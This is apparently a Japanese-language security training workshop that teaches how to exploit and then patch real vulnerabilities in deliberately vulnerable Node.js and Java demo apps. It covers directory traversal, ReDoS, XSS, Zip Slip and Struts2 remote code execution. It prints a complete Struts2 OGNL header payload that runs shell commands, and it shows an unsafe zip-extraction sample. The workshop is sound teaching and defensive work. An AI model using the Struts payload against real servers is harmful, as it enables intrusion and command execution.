
Node.js および Java アプリケーションにおける各種脆弱性を悪用するためのステップバイステップのワークショップ
このステップバイステップのワークショップでは、Node.js および Java アプリケーション内の脆弱性のあるパッケージに存在する、さまざまな実際の脆弱性を悪用する方法を学びます。
このワークショップは、次の 2 つの方法で行うことができます。
または
このワークショップでは、意図的に脆弱性のあるアプリケーションをいくつかインストールして悪用する手順を説明します。これらのアプリケーションは、既知の脆弱性を持つ実際のパッケージを使用します。脆弱性には次のものがあります。
これらの脆弱性は多くのアプリケーションに存在しますが、そのほとんどはローカルまたはクラウドインスタンスにインストールする必要があります。以下の手順ではローカルインストールについて説明しますが、リモートのクラウドインスタンスでも試していただいて構いません。
このワークショップの脆弱性の各セクションでは、脆弱性とそれが存在するパッケージに関する情報が提供されます。最初はヒントを読まずに、試行錯誤でアプリケーションをハッキングしてみることをお勧めします。どのようにアプリケーションのサニタイズをごまかせるか考え、ハッカーの思考を取り入れてみてください。行き詰まったときのためにヒントが用意されているので、助けが必要なときに順番に読んでください。ヒントなしでハッキングを完了できれば素晴らしいです。ただし、後でヒントを読んで、私たちと同じ方法で侵入したか確認するのも良いでしょう。さらに、そこから学ぶべき小さなヒントもあるかもしれません。
選択に応じて、適切なインストールマニュアルを選んでください。
お好みのブラウザで http://localhost:3001 にアクセスすると、次のページが表示されます。

少し時間を取ってサイトを触ってみてください。特に、通常のテキスト「Buy Milk」やマークダウン「Buy **lots** of milk」を使用していくつかの todo 項目を作成してみてください。また、ホームページ下部にある簡素な about ページにも移動してください。この about ページを作成するために使われた CSS-foo に感動してください。注意: このページを見栄え良くする PR はマージされません ;o)

まずは、ブルー(防御)側から見てみましょう。 goof アプリケーションを自分の GitHub アカウントにフォークしてください。アプリケーションは GitHub の https://github.com/snyk/goof にあります。 アプリケーション内に存在する直接的および間接的な依存関係、および各ライブラリの脆弱性を把握するために、アプリケーションをスキャンする必要があります。これを行うには、https://snyk.io にアクセスし、サイト右上の「Sign up」または「Log in」(すでにユーザーの場合)をクリックします。

「Log in with your GitHub」ボタンをクリックします。

次に、先ほどクローンした goof プロジェクトをインポートします。GitHub リポジトリリストから goof を選択し、ウィンドウ右上の「Import Projects」ボタンをクリックします。

プロジェクトがスキャンされると、ダッシュボードに表示されます。

package.json リンクをクリックしてプロジェクトページを表示します。これにはセキュリティ脆弱性の完全なリストが含まれています。

「Issues」および「Dependencies」タブをクリックすると、脆弱性とその修復に関する詳細情報、およびそれらがアプリケーションによってどこで導入されているかを確認できます。脆弱性リストの下部に、st パッケージのディレクトリトラバーサル脆弱性があることに気づくでしょう。これについて詳しく見ていきましょう。

ディレクトリトラバーサル攻撃(パストラバーサルとも呼ばれます)は、意図されたフォルダの外部にあるファイルやディレクトリにアクセスすることを目的としています。「ドットドットスラッシュ」(../)シーケンスやそのバリエーション、または絶対ファイルパスを使用してファイルを操作することにより、ファイルシステム上の任意のファイルやディレクトリ(アプリケーションのソースコード、設定、その他の重要なシステムファイルを含む)にアクセスできる可能性があります。
ディレクトリトラバーサル 脆弱性は、一般的に2つのタイプに分類できます。
goof アプリケーション内で悪用するディレクトリトラバーサル脆弱性を含むパッケージは、st パッケージです。st のドキュメントを参照して、ライブラリについてよく理解してください。
これでディレクトリトラバーサルとは何か、st パッケージが何をするのかがわかりました。アプリケーションをハッキングしてみてください — これでレッドチームに戻りました!アプリケーション内で st パッケージが使用されている場所を探し、アクセスを許可されるべきでないディレクトリにトラバースしてみてください。
行き詰まった場合のヒントを以下に示します。自分で試した後にのみ参照するように最善を尽くしてください。
クリックして ヒント 1 を表示。
クリックして ヒント 2 を表示。
クリックして ヒント 3 を表示。
クリックして ヒント 4 を表示。
クリックして ヒント 5 を表示。
クリックして ヒント 6 を表示。
クリックして ヒント 7 を表示。
クリックして ヒント 8 を表示。
クリックして ヒント 9 を表示。
攻撃者のようにファイルシステムを探索し、機械上で攻撃者に見られたくないと思われる機密情報を3つ見つけてください。
クリックして ヒント 10 を表示。
脆弱性の説明(CVSS スコアを含む)を確認してください: https://snyk.io/vuln/npm:st:20140206。なぜこの脆弱性が高重要度ではなく中重要度だと思いますか?
snyk のプロジェクトページに戻り、st パッケージのディレクトリトラバーサル脆弱性を見つけ、修復のアドバイスを確認してください。この脆弱性へのアプリケーション内のパスは1つだけで、st パッケージは直接依存関係であるため、修復はそれほど難しくないことがわかります。st パッケージのバージョンを 0.2.5 に更新する必要があります。これは、「Fix this vulnerability」ボタンをクリックすることで自動的に行えます。

脆弱性のリストが表示され、st の脆弱性のみが選択されているはずです。ページ下部までスクロールし、「Open a fix PR」をクリックします。

「Files Changed」タブでプルリクエストのコード変更を確認してください。

新しい PR テストで新たなセキュリティやライセンスの問題が導入されていないこと、およびテストが合格していることを確認してください。これらは PR の「Conversation」タブにあります。

PR に満足したら、変更をマージしてください。
アプリケーションをローカルで実行している場合は、npm start を実行したウィンドウで Ctrl+C を押して停止します。git fetch を実行して GitHub から最新のコードを取得します。npm install を実行して新しいバージョンの st をダウンロードし、その後 npm start を使用してアプリケーションを再起動します。
再度ハッキングを試してください。おめでとうございます! 脆弱性を修復しました。公開フォルダから脱出しようとするたびに、ホームページにリダイレクトされるようになります。
Snyk スキャンで ReDoS 脆弱性の説明を確認してください。

ms パッケージのこの脆弱性が、goof アプリケーションで悪用するものです。以下のコマンドを使用して、時間の文字列表現を含む todo 項目を追加します。``` $ echo 'content=Call mom in 20 minutes' | http --form http://localhost:3001/create -v
msライブラリが、入力されたコンテンツ文字列内の時間パターンにマッチしました。これは、goofのウェブページ上では少し異なる形で表現されます。

ReDoSの仕組みに関する知識を活用して、顕著な遅延や他のユーザーに対するサービス拒否を引き起こすコンテンツ文字列を渡してみてください。リクエストが処理されている間、ウェブページは最初のリクエストが処理されるまで、それ以降のリクエストをバッファリングすることに注意してください。
Click to see [Hint 1](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/ms/hint1.md).
Click to see [Hint 2](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/ms/hint2.md).
Click to see [Hint 3](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/ms/hint3.md).
Click to see [Hint 4](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/ms/hint4.md).
Click to see [Hint 5](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/ms/hint5.md).
アプリケーションコードでこの攻撃をプログラム的に回避する方法を考えてみましょう。
### 脆弱性の修正
snykプロジェクトページに戻り、```ms```パッケージの正規表現によるサービス拒否の脆弱性を見つけ、修復アドバイスを確認してください。この脆弱性への経路はアプリケーション内に1つだけで、```ms```パッケージは間接的な依存関係であり、```humanize-ms```パッケージによって引き込まれていることがわかります。```humanize-ms```のバージョンを```1.0.2```に更新する必要があることがわかります。これにより、修正されたバージョンの```ms```パッケージが引き込まれます。「この脆弱性を修正」をもう一度クリックして、PRを作成してください。

アプリケーションを更新したら、ハックを再度試してください。*おめでとうございます!*、脆弱性を修正しました。
## Cross Site Scripting (XSS)
XSS攻撃は、攻撃者が被害者のドメインのコンテキストで悪意のあるJavaScriptコードを実行するようにユーザーのブラウザを騙すことで発生します。そのようなスクリプトは、そのドメインのユーザーのセッションクッキーを盗んだり、コンテンツをスクレイピングまたは変更したり、ユーザーに代わってアクションを実行または変更したりすることができます。これらのアクションは通常、ブラウザの同一オリジンポリシーによってブロックされます。これらの攻撃は、ウェブアプリケーションのコンテキストをエスケープし、信頼されているウェブサイトに悪意のあるスクリプトを注入することで可能になります。これらのスクリプトは、追加の属性(例えば、ドロップダウンリストの「新しい」オプションや悪意のあるサイトへの新しいリンク)を導入し、被害者が知らないうちにクライアント側でコードを実行する可能性があります。これは、```< > " '``` のような文字が適切にエスケープされていない場合に発生します。
XSSにはいくつかの種類があります:
* *永続的XSS* は、悪意のあるコードがWebアプリのデータベースに永続化される攻撃です。
* *反射型XSS* は、ウェブサイトがリクエストの一部をエコーバックする攻撃です。攻撃者は、ユーザーを騙して悪意のあるリンク(たとえばフィッシングメールや別のページの悪意のあるJSを介して)をクリックさせ、それがXSS攻撃を引き起こします。
* *DOMベースXSS* は、クライアントサイドのJavaScriptがURLの一部をページにエコーバックするときにブラウザ内でのみ発生する攻撃です。DOMベースXSSは、サーバーが攻撃の発生を確認する機会がないため、検出が非常に困難であることで知られています。
脆弱性はmarkedライブラリに存在します。このライブラリを使用すると、ToDo入力ボックスにマークダウンテキストを入力し、結果のテキストを太字など、好きなように表示できます。この複雑なマルチページアプリケーションに十分慣れたところで、脆弱性があるパッケージを念頭に置いてください。
まずは、アラート '1' を表示してみましょう。非常にクリシェですよね?
Click to see [Hint 1](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/marked/hint1.md).
Click to see [Hint 2](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/marked/hint2.md).
Click to see [Hint 3](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/marked/hint3.md).
Click to see [Hint 4](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/marked/hint4.md).
Click to see [Hint 5](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/marked/hint5.md).
Click to see [Hint 6](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/marked/hint6.md).
Click to see [Hint 7](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/marked/hint7.md).
Click to see [Hint 8](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/marked/hint8.md).
以下に示すように、アラートを作成するJavaScriptを実行できたら、もう少しトリッキーなことを試して、機密情報を取得してみることもできます!

### 脆弱性の修正
snykプロジェクトページに戻り、```marked```パッケージのXSS脆弱性を見つけ、修復アドバイスを確認してください。この脆弱性への経路はアプリケーション内に1つだけで、```marked```パッケージは直接の依存関係であることがわかります。```marked```をバージョン```0.3.9```に更新する必要があることがわかります。「この脆弱性を修正」をもう一度クリックして、PRを作成してください。

アプリケーションを更新したら、ハックを再度試してください。おめでとうございます。XSS脆弱性を修正しました。これにより、ウェブページにJavaScriptを埋め込むことはできなくなります。
# Java Goof Installation
以前の選択に応じて、適切なインストールマニュアルを選んでください。
* using [Docker Images](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/install/javagoof_docker.md)
* install on [Local machine](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/install/javagoof_local.md)
ブラウザから次のURLにアクセスしてください: [http://localhost:8080/](http://localhost:8080/)
このアプリケーションが表示されます。Nodeアプリケーションよりも見栄えが良いです。なぜならJavaはNodeより優れているからです。事実です。

「サインイン」をクリックし、以下の認証情報を使用してください:```
Username: [email protected]
Password: foobar
ログインすると、いくつかのToDoエントリが表示されます。画面の上部をクリックすると、このアプリケーションがSpring、Hibernate、Apache Strutsを使用していることがわかります。アプリケーションがこのデータを教えてくれるのは非常に親切です!通常、Webサイトはこんなに親切ではありません :)
では、青(防御)チームに戻りましょう。アプリケーション内に存在する直接的および間接的な依存関係と、各ライブラリの脆弱性を理解するために、アプリケーションをスキャンする必要があります。
Java Goof を自分のGitHubアカウントにフォークしてください。アプリケーションはGitHub上のこちらにあります: https://github.com/snyk/java-goof
既にワークショップの前半でSnykアカウントをお持ちの場合は、Java GoofリポジトリをSnykダッシュボードに追加するだけです。まだの場合は、以下の手順でアカウントを作成してください:
まだ行っていない場合は、https://snyk.io にアクセスし、サイト右上の「Log in」または「Sign up」をクリックします。

「Log in with your GitHub」ボタンをクリックします:

先ほどクローンしたgoofプロジェクトをインポートします。下に示す「Integrations」リンクをクリックします:

ここからGitHubインテグレーションを選択し、GitHubリポジトリリストからjava-goofを選択して、ウィンドウ右上の「Add selected repositories」ボタンをクリックします。

プロジェクトのスキャンが完了すると、ダッシュボードに表示されます:

todolist-web-struts/pom.xmlリンクをクリックすると、そのプロジェクト部分のセキュリティ脆弱性の完全なリストが表示されます:

脆弱性はorg.apache.struts:struts2-coreパッケージに存在します。
影響を受けるバージョンのパッケージは、Jakarta Multipartパーサーを使用してファイルをアップロードする際に任意のコマンド実行に対して脆弱です。この特定の脆弱性は、Jakartaベースのプラグインを使用してアップロードリクエストを処理する脆弱なサーバーに対して、攻撃者が細工したリクエストを送信することで悪用される可能性があります。
攻撃者はその後、Content-Type、Content-Disposition、またはContent-Length HTTPヘッダーに悪意のあるコードを送信し、それが脆弱なサーバーによって実行されます。攻撃シナリオを示す概念実証コードが公開されており、この脆弱性は実際の環境で活発に悪用されています。
オープンソースプロジェクトのメンテナーは直ちに脆弱性にパッチを当てましたが、まだアップデートをインストールしていないStrutsサーバーは、攻撃者によって選択したコマンドを注入するために悪用され続けています。
この攻撃は認証なしで実行可能です。さらに悪いことに、Webアプリケーションはこの脆弱性を悪用するために悪意のあるファイルを正常にアップロードする必要はなく、アプリケーション内に脆弱なStrutsライブラリが存在するだけで脆弱性を悪用できます。
以下は、脆弱性を悪用できるヘッダーの例です。Content-Typeが%{で始まっていることに注意してください。```
"Content-type: %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='COMMAND').(#cmds={'/bin/bash','-c',#cmd}).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
``ProcessBuilder`` が作成され、その結果 bash コマンドが実行されることに気付くでしょう。
アプリケーションに対してHTTP GETリクエストを行い、リクエストにこのヘッダーを送信することでアプリケーションをハックします。
表示するには [ヒント1](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/struts/hint1.md) をクリックしてください。
表示するには [ヒント2](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/struts/hint2.md) をクリックしてください。
ここまでで、リモートコマンドを実行しているはずです。例えば、この env コマンドを実行してマシンの環境変数を取得します。

この状態では、URLをcurlすることでマシン上で実行権限を持っています。さらに他のコマンドを実行してマシンについて学べることや、マシン上で実行できることを確認してください。
# Zip Slip
お好みのIDEで新しいMavenプロジェクトを作成してください。私はあなたを責めません。``pom.xml``ファイルに新しい依存関係を追加してください。```xml
<dependency>
<groupId>org.zeroturnaround</groupId>
<artifactId>zt-zip</artifactId>
<version>1.12</version>
<type>jar</type>
</dependency>
このリポジトリには、zip-slip.zip アーカイブがあります。ダウンロードして、アーカイブに対して次のコマンドを実行し、出力を確認してください。出力を見れば、このハックがどのように機能するかがわかると思います。``` $ jar -tvf zip-slip.zip
## Zip Slip脆弱性
Zip Slipは、アーカイブからファイルを抽出する際に悪用される可能性のあるディレクトリトラバーサルの一種です。ディレクトリトラバーサル脆弱性の前提は、攻撃者が本来存在すべきターゲットフォルダの外部にあるファイルシステムの一部にアクセスできることです。攻撃者は実行可能ファイルを上書きし、それらをリモートで呼び出すか、システムやユーザーが呼び出すのを待つことで、被害者のマシン上でリモートコマンド実行を達成できます。この脆弱性は、設定ファイルやその他の機密リソースを上書きすることで損害を与えることもあり、クライアント(ユーザー)マシンとサーバーの両方で悪用される可能性があります。
この脆弱性を悪用するために必要な2つの要素は、悪意のあるアーカイブと、検証チェックを行わない抽出コードです。それぞれを順に見ていきましょう。まず、zipファイルの内容には、抽出時にターゲットディレクトリの外に出ようとする1つ以上のファイルが含まれている必要があります。```zip-slip.zip```の例では、2つのファイルがあります。good.txtファイルはターゲットディレクトリに抽出され、evil.txtファイルはディレクトリツリーを上にたどってtmpディレクトリに移動しようとしています。ルートディレクトリに到達する可能性を高めるために、多くのレベルの```../```が存在し、その後ルートディレクトリから```/tmp```ディレクトリに移動しようとしていることに気付くでしょう。
```ZipUtil```にある```zt-zip```の解凍ユーティリティを使用してファイルを抽出し、```good.txt```と```evil.txt```がファイルシステム上のどこに表示されるかを確認してください。
[ヒント1](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/zipslip/hint1.md)を表示するにはクリックしてください。
[ヒント2](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/zipslip/hint2.md)を表示するにはクリックしてください。
evil.txtファイルをtmpディレクトリに解凍したら、脆弱性情報([https://snyk.io/vuln/SNYK-JAVA-ORGZEROTURNAROUND-31681](https://snyk.io/vuln/SNYK-JAVA-ORGZEROTURNAROUND-31681))を確認してください。
### 脆弱性を修正!
[ヒント3](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/zipslip/hint3.md)を表示するにはクリックしてください。
[ヒント4](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/zipslip/hint4.md)を表示するにはクリックしてください。
```zt-zip```依存関係の脆弱性を修正したので、Javaでこれを行うために使用できるコードを見てみましょう。この例では、8行目のファイルコピーを実行するためにApache Commons IOライブラリを使用していることに注意してください。```java
1. final String destinationDir = /* <your destination dir> */;
2. ZipFile zip = new ZipFile(/* <your zip file> */);
3. Enumeration<ZipEntry> entries = (Enumeration<ZipEntry>) zip.entries();
4. while (entries.hasMoreElements()) {
5. ZipEntry e = entries.nextElement();
6. File f = new File(destinationDir, e.getName());
7. InputStream input = zip.getInputStream(e);
8. FileUtils.copyToFile(input, f);
9. }
それでは、先ほどの ZipUtil.unpack の呼び出しをこのコードに置き換えてみましょう。ファイルシステムから good.txt と evil.txt を削除して、アプリケーションを再度実行してください。すると、evil.txt ファイルが再び /tmp ディレクトリに到達していることがわかります。
上記のコードのどの行が原因なのかを特定し、修正してください!
クリックして ヒント 5 を表示。
クリックして ヒント 6 を表示。
クリックして ヒント 7 を表示。
クリックして ヒント 8 を表示。
クリックして ヒント 9 を表示。
防御的にコーディングしたら、ヒント 9 の最終的なコードサンプルを確認して、あなたのバージョンと比較してみてください。9行目に末尾のファイルセパレータを含めましたか?これにより、ディレクトリが選択したディレクトリ名で始まるだけでなく、ファイルを展開するために選択したディレクトリそのものであることが保証されます。
このワークショップを受講していただきありがとうございます。タイポを見つけたり、追加のヒントを提案される場合は、PRを送ってください!